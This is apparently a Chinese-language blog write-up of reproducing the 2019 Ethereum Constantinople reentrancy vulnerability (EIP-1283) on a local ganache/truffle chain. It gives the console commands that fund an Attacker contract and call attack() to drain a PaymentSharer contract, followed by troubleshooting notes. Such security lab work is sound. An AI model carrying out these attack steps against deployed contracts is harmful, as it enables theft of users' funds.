看似简单的事情,自己实践起来总是会有意想不到的问题,通过解决问题总会有新的收获。所以要多动手,少BB。
这个最近导致君士坦丁堡审计延迟的一个以太坊bug,来自于EIP 1283,EIP的全称是Ethereum Improvement Proposals(以太坊改进提案),谁都可以上去提一些对以太坊的改进提案,不过必须得严谨、正式,以太坊君士坦丁堡这次漏洞就是由一个EIP引起的,这个EIP的编号是1283,详情地址如下:
https://eips.ethereum.org/EIPS/eip-1283

网上也能搜到一些关于这个漏洞的复现,包括详细的复现脚本:GitHub - ChainSecurity/constantinople-reentrancy: Vulnerable code example including tests for Constantinople Reentrancy,只需要两个命令就能够复现该漏洞。关于漏洞原理就不再赘述了。

为了更加深入的理解这个漏洞,所有打算利用ganache-cli+truffle命令行来操作一番。

1.复现过程

整个过程并不顺利,中间遇到了好几个问题。首先将成功复现的步骤和截图记录下来:(关于ganache-cli+truffle的安装及使用可见:)

1、首先将漏洞利用合约PaymentSharer.sol、Attacker.sol保存到truffle的contracts目录下

2、在终端编译合约
truffle compile
3、运行ganache-cli
ganache-cli --hardfork=constantinople

4、部署合约
truffle migrate

5、进入控制台执行命令
truffle console

1
2
3
truffle(development)>
truffle(development)>innocent = "0x792c1e8f0deaa9b1f30c20b5c47104cd26a6227e"
//任意一个有余额的账户,用于给Attacker合约充钱
1
2
truffle(development)>web3.eth.sendTransaction({from:innocent,to:Attacker.address,value:2000000000000000000});
//向Attacker充钱,2eth
1
2
truffle(development)>web3.eth.getBalance(Attacker.address);
//查看余额
1
2
truffle(development)>PaymentSharer.deployed().then(i=>i.init(0,Attacker.address,"0x96e0070c1c62e07dc25c5699b9e7a8a60165e073"));
//"0x96e0070c1c62e07dc25c5699b9e7a8a60165e073"是Attacker合约的owner,也可以为其他账户
1
truffle(development)>PaymentSharer.deployed().then(i=>i.updateSplit(0,1));
1
2
3
4
truffle(development)>PaymentSharer.deployed().then(i=>i.deposit(0,{from:"0x96e0070c1c62e07dc25c5699b9e7a8a60165e073", value: 1000000000000000000}));

truffle(development)>PaymentSharer.deployed().then(i=>i.deposit(1,{from:innocent, value: 2000000000000000000}));
//通过deposit向PaymentSharer转3eth,其中splits[0]=1eth,splits[1]=2eth
1
2
truffle(development)>web3.eth.getBalance(PaymentSharer.address)
//查看PaymentSharer合约账户余额
1
2
truffle(development)>Attacker.deployed().then(i=>i.attack(PaymentSharer.address));
//进行攻击
1
2
truffle(development)>web3.eth.getBalance(PaymentSharer.address)
//余额为1eth,攻击成功!

复现结果

2.遇到的问题以及要注意的地方

这个过程看似就一个步骤,没有什么问题,但因为自己知识的欠缺,还是弄了好久。下面分点记录问题:

1、address payable _first编译不通过
查看编译器版本,solc-js版本只有4.*,果断升级truffle:

1
2
npm uninstall -g truffle
11530 npm install -g truffle@5.0.2

升级后:

1
2
3
4
➜ truffle version
Truffle v5.0.2 (core: 5.0.2)
Solidity v0.5.0 (solc-js)
Node v10.0.0

2、ganache 升级

1
2
➜ npm uninstall -g  ganache-cli
➜ npm i -g ganache-cli@beta

3、fallback函数未被调用
执行了Attacker.attack后账户b始终没有增加余额,后通过在fallback函数中加日志信息发现该函数并没有被执行。
后来无意间在网上看到“调用的fallback函数与你所指定的地址有关。比如上面的例子中,使用的是msg.sender.transfer(1),那么将意味着如果msg.sender为一个合约地址,就调用它里面写的fallback函数,如果不是合约地址,那么自然就没有fallback函数调用”。
这是自己一直没有搞清楚的一个概念(对于执行攻击合约里面的fallback函数还是原合约的fallback函数之前还疑惑过,却没有去深究)

在PaymentSharer.sol合约里我们想要利用 a.transfer(depo * splits[id] / 100);来触发攻击合约里面的fallback函数,那么a就得是攻击合约的地址,即在执行PaymentSharer.init()的时候,第一个参数必须为Attacker.address。即在而一开始我没有注意这个问题。

修改之后没有了这个问题。然而却报错VM Exception while processing transaction: revert

4、VM Exception while processing transaction: revert报错
真是一个令人头疼的问题,没有具体的错误的信息。通常revert都是因为gas不足,但是现在理论依据很足,这个漏洞能利用就是因为在EIP1283生效之前对变量进行更改再重置至少需要15000 gas,而生效后只需要400 gas,2300gas上限已经足够了。

尝试很多解决办法都没有解决,于是下载了网上的复现脚本,增加了两行log信息后运行——打印被攻击合约的账户余额

p4

那说明这个漏洞是可以被利用的,ganache-cli --hardfork=constantinople也是没有问题。

然后查看了该测试项目的truffle配置文件truffle.js,其中指定了solc的版本为0.5.2:

p5

而我当前默认版本是0.5.0,于是修改了自己truffle的配置文件truffle-config.js,指定solc的版本为0.5.2,再重新执行一遍上述第1节的过程,成功!

但是奇怪的是后来再把版本修改为0.5.0和0.5.1都利用成功了。所以好像编译器版本在0.5.0以上就ok了。但是那个revert错误又是什么原因呢?从VM Exception while processing transaction: revert这边里面有提到
“ If you’re using truffle, configure the optmizier in truffle.js with solc: { optimizer: { enabled: true, runs: 200 } }”

小结

一个简简单单的漏洞复现还是花了一天多时间,不过这个过程也学到了新的东西以及知道自己还有哪些欠缺。后面关于EIP需要深入了解一下,关于公链的内部机制的一些东西,自己都一点不了解。

参考文献
[1]公链安全之以太坊君士坦丁堡重入漏洞分析
[2]Constantinople enables new Reentrancy Attack – ChainSecurity – Medium
[3]VM Exception while processing transaction: revert
[4]solidity fallback函数 - 慢行厚积 - 博客园
[5]GitHub - ChainSecurity/constantinople-reentrancy: Vulnerable code example including tests for Constantinople Reentrancy